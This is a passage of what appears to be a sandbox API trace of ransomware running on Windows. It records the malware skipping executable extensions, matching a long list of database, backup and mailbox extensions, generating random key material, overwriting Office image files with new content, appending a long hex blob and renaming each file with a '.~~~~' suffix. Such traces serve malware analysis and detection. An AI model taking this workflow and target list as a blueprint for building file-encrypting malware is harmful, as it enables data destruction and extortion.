	[0140.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif.~~~~")) returned 1
	[0140.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e148 | out: hHeap=0x300000) returned 1
	[0140.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.202] GetLastError () returned 0x0
	[0140.202] RtlWakeConditionVariable () returned 0x0
	[0140.202] GetCurrentThreadId () returned 0x3a4
	[0140.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".scr") returned 0x0
	[0140.202] lstrlenW (lpString=".cmd") returned 4
	[0140.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".cmd") returned 0x0
	[0140.203] lstrlenW (lpString=".dll") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dll") returned 0x0
	[0140.203] lstrlenW (lpString=".bat") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".bat") returned 0x0
	[0140.203] lstrlenW (lpString=".cpl") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".cpl") returned 0x0
	[0140.203] lstrlenW (lpString=".sys") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".sys") returned 0x0
	[0140.203] lstrlenW (lpString=".msc") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".msc") returned 0x0
	[0140.203] lstrlenW (lpString=".com") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".com") returned 0x0
	[0140.203] lstrlenW (lpString=".lnk") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".lnk") returned 0x0
	[0140.203] lstrlenW (lpString=".msp") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".msp") returned 0x0
	[0140.203] lstrlenW (lpString=".pif") returned 4
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".pif") returned 0x0
	[0140.203] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.205] lstrlenW (lpString=".sqb") returned 4
	[0140.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".sqb") returned 0x0
	[0140.205] lstrlenW (lpString=".ost") returned 4
	[0140.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".ost") returned 0x0
	[0140.205] lstrlenW (lpString=".txt") returned 4
	[0140.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".txt") returned 0x0
	[0140.205] lstrlenW (lpString=".mdt") returned 4
	[0140.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".mdt") returned 0x0
	[0140.205] lstrlenW (lpString=".BDB") returned 4
	[0140.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".BDB") returned 0x0
	[0140.205] lstrlenW (lpString=".eql") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".eql") returned 0x0
	[0140.206] lstrlenW (lpString=".DBF") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DBF") returned 0x0
	[0140.206] lstrlenW (lpString=".EQL") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".EQL") returned 0x0
	[0140.206] lstrlenW (lpString=".FDB") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".FDB") returned 0x0
	[0140.206] lstrlenW (lpString=".EDB") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".EDB") returned 0x0
	[0140.206] lstrlenW (lpString=".DACPAC") returned 7
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.206] lstrlenW (lpString=".VHD") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".VHD") returned 0x0
	[0140.206] lstrlenW (lpString=".DBV") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DBV") returned 0x0
	[0140.206] lstrlenW (lpString=".dacpac") returned 7
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.206] lstrlenW (lpString=".sdf") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".sdf") returned 0x0
	[0140.206] lstrlenW (lpString=".accdb") returned 6
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".accdb") returned 0x0
	[0140.206] lstrlenW (lpString=".DBX") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DBX") returned 0x0
	[0140.206] lstrlenW (lpString=".MDT") returned 4
	[0140.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".MDT") returned 0x0
	[0140.206] lstrlenW (lpString=".SQB") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".SQB") returned 0x0
	[0140.207] lstrlenW (lpString=".vhd") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".vhd") returned 0x0
	[0140.207] lstrlenW (lpString=".bac") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".bac") returned 0x0
	[0140.207] lstrlenW (lpString=".mdf") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".mdf") returned 0x0
	[0140.207] lstrlenW (lpString=".BAK") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".BAK") returned 0x0
	[0140.207] lstrlenW (lpString=".BAC") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".BAC") returned 0x0
	[0140.207] lstrlenW (lpString=".dbs") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dbs") returned 0x0
	[0140.207] lstrlenW (lpString=".vhdx") returned 5
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.207] lstrlenW (lpString=".NDF") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".NDF") returned 0x0
	[0140.207] lstrlenW (lpString=".dat") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dat") returned 0x0
	[0140.207] lstrlenW (lpString=".DBS") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DBS") returned 0x0
	[0140.207] lstrlenW (lpString=".CKP") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".CKP") returned 0x0
	[0140.207] lstrlenW (lpString=".edb") returned 4
	[0140.207] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".edb") returned 0x0
	[0140.208] lstrlenW (lpString=".PST") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".PST") returned 0x0
	[0140.208] lstrlenW (lpString=".dbf") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dbf") returned 0x0
	[0140.208] lstrlenW (lpString=".SQL") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".SQL") returned 0x0
	[0140.208] lstrlenW (lpString=".pst") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".pst") returned 0x0
	[0140.208] lstrlenW (lpString=".dbv") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dbv") returned 0x0
	[0140.208] lstrlenW (lpString=".SDF") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".SDF") returned 0x0
	[0140.208] lstrlenW (lpString=".dtxs") returned 5
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.208] lstrlenW (lpString=".db3") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".db3") returned 0x0
	[0140.208] lstrlenW (lpString=".OST") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".OST") returned 0x0
	[0140.208] lstrlenW (lpString=".dbx") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dbx") returned 0x0
	[0140.208] lstrlenW (lpString=".DB3") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DB3") returned 0x0
	[0140.208] lstrlenW (lpString=".DAT") returned 4
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DAT") returned 0x0
	[0140.208] lstrlenW (lpString=".VHDX") returned 5
	[0140.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.208] lstrlenW (lpString=".ndf") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".ndf") returned 0x0
	[0140.209] lstrlenW (lpString=".DB") returned 3
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DB") returned 0x0
	[0140.209] lstrlenW (lpString=".sql") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".sql") returned 0x0
	[0140.209] lstrlenW (lpString=".MYD") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".MYD") returned 0x0
	[0140.209] lstrlenW (lpString=".DBT") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DBT") returned 0x0
	[0140.209] lstrlenW (lpString=".ACCDB") returned 6
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.209] lstrlenW (lpString=".fdb") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".fdb") returned 0x0
	[0140.209] lstrlenW (lpString=".bak") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".bak") returned 0x0
	[0140.209] lstrlenW (lpString=".myd") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".myd") returned 0x0
	[0140.209] lstrlenW (lpString=".DTXS") returned 5
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.209] lstrlenW (lpString=".ckp") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".ckp") returned 0x0
	[0140.209] lstrlenW (lpString=".dbt") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".dbt") returned 0x0
	[0140.209] lstrlenW (lpString=".db") returned 3
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".db") returned 0x0
	[0140.209] lstrlenW (lpString=".TXT") returned 4
	[0140.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".TXT") returned 0x0
	[0140.210] lstrlenW (lpString=".MDF") returned 4
	[0140.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".MDF") returned 0x0
	[0140.210] lstrlenW (lpString=".bdb") returned 4
	[0140.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".bdb") returned 0x0
	[0140.210] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.210] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.211] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.211] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.211] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26020149303) returned 1
	[0140.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbcfd02d0, dwHighDateTime=0x1d60e1e)) 
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5310
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5310 | out: hHeap=0x300000) returned 1
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38dff8
	[0140.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dff8 | out: hHeap=0x300000) returned 1
	[0140.212] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.212] GetLastError () returned 0x0
	[0140.213] GetLastError () returned 0x0
	[0140.213] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.213] GetLastError () returned 0x0
	[0140.213] GetLastError () returned 0x0
	[0140.213] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x142f, lpOverlapped=0x0) returned 1
	[0140.328] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffebd1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.328] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x142f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x142f, lpOverlapped=0x0) returned 1
	[0140.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.328] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.328] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.328] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.328] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.328] CloseHandle (hObject=0x108) returned 1
	[0140.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f300
	[0140.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif.~~~~")) returned 1
	[0140.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f300 | out: hHeap=0x300000) returned 1
	[0140.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.331] GetLastError () returned 0x0
	[0140.331] RtlWakeConditionVariable () returned 0x0
	[0140.332] GetCurrentThreadId () returned 0x3a4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".scr") returned 0x0
	[0140.332] lstrlenW (lpString=".cmd") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".cmd") returned 0x0
	[0140.332] lstrlenW (lpString=".dll") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".dll") returned 0x0
	[0140.332] lstrlenW (lpString=".bat") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".bat") returned 0x0
	[0140.332] lstrlenW (lpString=".cpl") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".cpl") returned 0x0
	[0140.332] lstrlenW (lpString=".sys") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".sys") returned 0x0
	[0140.332] lstrlenW (lpString=".msc") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".msc") returned 0x0
	[0140.332] lstrlenW (lpString=".com") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".com") returned 0x0
	[0140.332] lstrlenW (lpString=".lnk") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".lnk") returned 0x0
	[0140.332] lstrlenW (lpString=".msp") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".msp") returned 0x0
	[0140.332] lstrlenW (lpString=".pif") returned 4
	[0140.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".pif") returned 0x0
	[0140.332] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.334] lstrlenW (lpString=".sqb") returned 4
	[0140.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".sqb") returned 0x0
	[0140.334] lstrlenW (lpString=".ost") returned 4
	[0140.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".ost") returned 0x0
	[0140.334] lstrlenW (lpString=".txt") returned 4
	[0140.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF", lpSrch=".txt") returned 0x0
	[0140.335] lstrlenW (lpString=".mdt") returned 4
